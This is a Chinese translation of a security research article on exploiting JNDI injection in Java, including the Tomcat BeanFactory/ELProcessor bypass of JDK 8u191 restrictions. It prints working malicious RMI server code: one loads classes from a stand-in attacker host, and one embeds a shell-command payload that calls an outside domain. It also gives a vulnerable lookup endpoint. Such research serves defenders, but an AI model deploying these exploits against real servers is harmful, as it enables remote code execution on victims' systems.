原文:https://www.veracode.com/blog/research/exploiting-jndi-injections-java

简介


Java Naming and Directory Interface(JNDI)是一种Java API,可以通过名称来发现和查找数据和对象。这些对象可以存储在不同的命名或目录服务中,如远程方法调用(RMI)、公共对象请求代理体系结构(CORBA)、轻量级目录访问协议(LDAP)或域名服务(DNS)。

换句话说,JNDI就是一个简单的Java API(如“InitialContext.Lookup(String Name)”),它只接受一个字符串参数,如果该参数来自不可信的源的话,则可能因为远程类加载而引发远程代码执行攻击。

当被请求对象的名称处于攻击者掌控之下时,他们就能将受害Java应用程序指向恶意的RMI/LDAP/CORBA服务器,并使用任意对象进行响应。如果该对象是“javax.naming.Reference”类的实例,那么,JNDI客户端将尝试解析该对象的“classFactory”和“classFactoryLocation”属性。如果目标Java应用程序不知道“ClassFactory”的值,Java将使用Java的URLClassLoader从“ClassFactoryLocation”处获取该工厂的字节码。

由于其简单性,即使“InitialContext.lookup”方法没有直接暴露给受污染的数据,它对于利用Java漏洞来说也非常有用。在某些情况下,仍然可以通过反序列化或不安全的反射攻击来访问它。

易受攻击的应用程序示例


@RequestMapping("/lookup")
    @Example(uri = {"/lookup?name=java:comp/env"})
    public Object lookup(@RequestParam String name) throws Exception{
        return new javax.naming.InitialContext().lookup(name);
    }

JDK1.8.0_191版本之前的JNDI注入攻击


通过请求URL/lookup/?name=ldap://127.0.0.1:1389/Object,可以使易受攻击的服务器连接到我们掌控之下的地址。为了触发远程类加载,恶意RMI服务器可以使用如下所示的Reference来进行响应:

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
        Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

由于目标服务器不知道“ExploitObject”,因此,它将从http://_attacker.com_/ExploitObject.class加载并执行其字节码,进而导致RCE攻击。

当Oracle向RMI添加代码库限制时,这种技术在Java 8u121及以前版本上运行良好。在此之后,人们发现可以使用恶意LDAP服务器返回相同的reference,具体参阅“A Journey from JNDI/LDAP manipulation to remote code execution dream land”。读者可以从“Java Unmarshaller Security”GitHub存储库中找到一个非常不错的示例代码。

两年后,在Java 8U191更新中,Oracle公司对LDAP向量施加了相同的限制,并公布了CVE-2018-3149,从此,JNDI远程类加载的大门就被关闭了。然而,攻击者仍然可以通过JNDI注入触发不可信数据的反序列化攻击,但其可利用性高度依赖于现有的gadgets。

JDK 1.8.0_191+版本中的JNDI注入漏洞利用方法


自Java 8U191版本以来,当JNDI客户端接收到Reference对象时,其“ClassFactoryLocation”在RMI或LDAP中都没有用到。另一方面,我们仍然可以在“JavaFactory”属性中指定任意的factory类。

该类将用于从攻击者控制的“javax.naming.Reference”中提取实际的对象。它应该位于目标类路径中,实现“javax.naming.spi.ObjectFactory”,并至少提供一个“GetObjectInstance”方法:

public interface ObjectFactory {
/**
 * Creates an object using the location or reference information
 * specified.
 * ...
/*
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable environment)
        throws Exception;
}

其主要思想是:在目标类路径中找到一个工厂,并对Reference的属性执行一些危险的操作。通过考察该方法在JDK和流行库中的各种实现,我们发现了一个在漏洞利用方面非常有趣的实现。

Apache Tomcat服务器中的“org.apache.naming.factory.BeanFactory”类中含有使用反射创建bean的逻辑:

public class BeanFactory
    implements ObjectFactory {

    /**
     * Create a new Bean instance.
     *
     * @param obj The reference object describing the Bean
     */
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable environment)
        throws NamingException {

        if (obj instanceof ResourceRef) {

            try {

                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch(ClassNotFoundException e) {
                        e.printStackTrace();
                    }
                }

                ...

                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();

                Object bean = beanClass.getConstructor().newInstance();

                /* Look for properties with explicitly configured setter */
                RefAddr ra = ref.get("forceString");
                Map forced = new HashMap<>();
                String value;

                if (ra != null) {
                    value = (String)ra.getContent();
                    Class paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;

                    /* Items are given as comma separated list */
                    for (String param: value.split(",")) {
                        param = param.trim();
                        /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard
                         * setter) */
                        index = param.indexOf('=');
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim();
                            param = param.substring(0, index).trim();
                        } else {
                            setterName = "set" +
                                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                                         param.substring(1);
                        }
                        try {
                            forced.put(param,
                                       beanClass.getMethod(setterName, paramTypes));
                        } catch (NoSuchMethodException|SecurityException ex) {
                            throw new NamingException
                                ("Forced String setter " + setterName +
                                 " not found for property " + param);
                        }
                    }
                }

                Enumeration e = ref.getAll();

                while (e.hasMoreElements()) {

                    ra = e.nextElement();
                    String propName = ra.getType();

                    if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }

                    value = (String)ra.getContent();

                    Object[] valueArray = new Object[1];

                    /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName);
                    if (method != null) {
                        valueArray[0] = value;
                        try {
                            method.invoke(bean, valueArray);
                        } catch (IllegalAccessException|
                                 IllegalArgumentException|
                                 InvocationTargetException ex) {
                            throw new NamingException
                                ("Forced String setter " + method.getName() +
                                 " threw exception for property " + propName);
                        }
                        continue;
                    }
...

“BeanFactory”类可以创建任意bean的实例,并为所有的属性调用其setter。其中,目标bean的类名、属性和属性值都来自于Reference对象,而该对象处于攻击者的控制之下。

目标类将提供一个公共的无参数构造函数和只有一个“string”参数的公共setter。事实上,这些setter不一定以“set.”开头。因为“BeanFactory”含有一些逻辑,用于处理如何为任何参数指定一个任意的setter名称。

/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map forced = new HashMap<>();
String value;

if (ra != null) {
    value = (String)ra.getContent();
    Class paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;
    int index;

    /* Items are given as comma separated list */
    for (String param: value.split(",")) {
        param = param.trim();
        /* A single item can either be of the form name=method
         * or just a property name (and we will use a standard
         * setter) */
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                         param.substring(1);
        }

这里使用的魔法属性是“forceString”。例如,通过将它设置为“x=eval”,我们可以为属性“x”调用名为“eval”而非“setX”的方法。

因此,通过使用“BeanFactory”类,我们可以使用默认构造函数创建任意类的实例,并使用一个“string”参数调用任意的公共方法。

在这里,还有一个比较有用的类,即“javax.el.elprocessor”。利用这个类的“eval”方法,我们可以指定一个字符串,用以表示要执行的Java表达式语言模板。

package javax.el;
...
public class ELProcessor {
...
    public Object eval(String expression) {
        return getValue(expression, Object.class);
    }

下面是执行任意命令的恶意表达式:

{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")}

综合应用


在打补丁之后,LDAP和RMI之间几乎没有什么区别,所以,为了简单起见,我们将使用RMI。

我们将编写自己的恶意RMI服务器,该服务器使用精心构造的“ResourceRef”对象来进行响应:

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

这个服务器以序列化对象“org.apache.naming.Resourceref”作为响应,借助该对象精心构造的各种属性,就能在客户端上触发攻击者所需的行为。

然后,我们来触发受害Java进程上的JNDI解析:

new InitialContext().lookup("rmi://127.0.0.1:1097/Object")

当对这个对象进行反序列化时,不会出现任何不希望发生的情况。但是,由于它扩展了“javax.naming.Reference”,因此“org.apache.naming.factory.BeanFactory”工厂将用于从受害者一端从Reference中获取“真正的”对象。在这个阶段,将通过模板计算触发远程代码执行,进而执行“nslookup jndi.s.artsploit.com”命令。

这里唯一的限制是,目标Java应用程序在类路径中提供一个来自Apache Tomcat服务器的“org.apache.naming.factory.BeanFactory”类,但是其他应用程序服务器的包含危险功能的对象工厂可能与之不同。

解决方案


就本文所介绍的安全漏洞来说,真正的安全隐患不在JDK或Apache Tomcat库中,而是在将用户可控数据传递给“initialContext.lookup()”函数的自定义应用程序中,因为即使在具有完整补丁的JDK安装中,它仍然存在相应的安全风险。需要牢记的是,在许多情况下,其他漏洞(例如“不可信数据的反序列化”)也可能导致JNDI解析。为了预防这些类型的漏洞,源代码安全审计是一个不错的解决方案。

源链接

Hacking more

...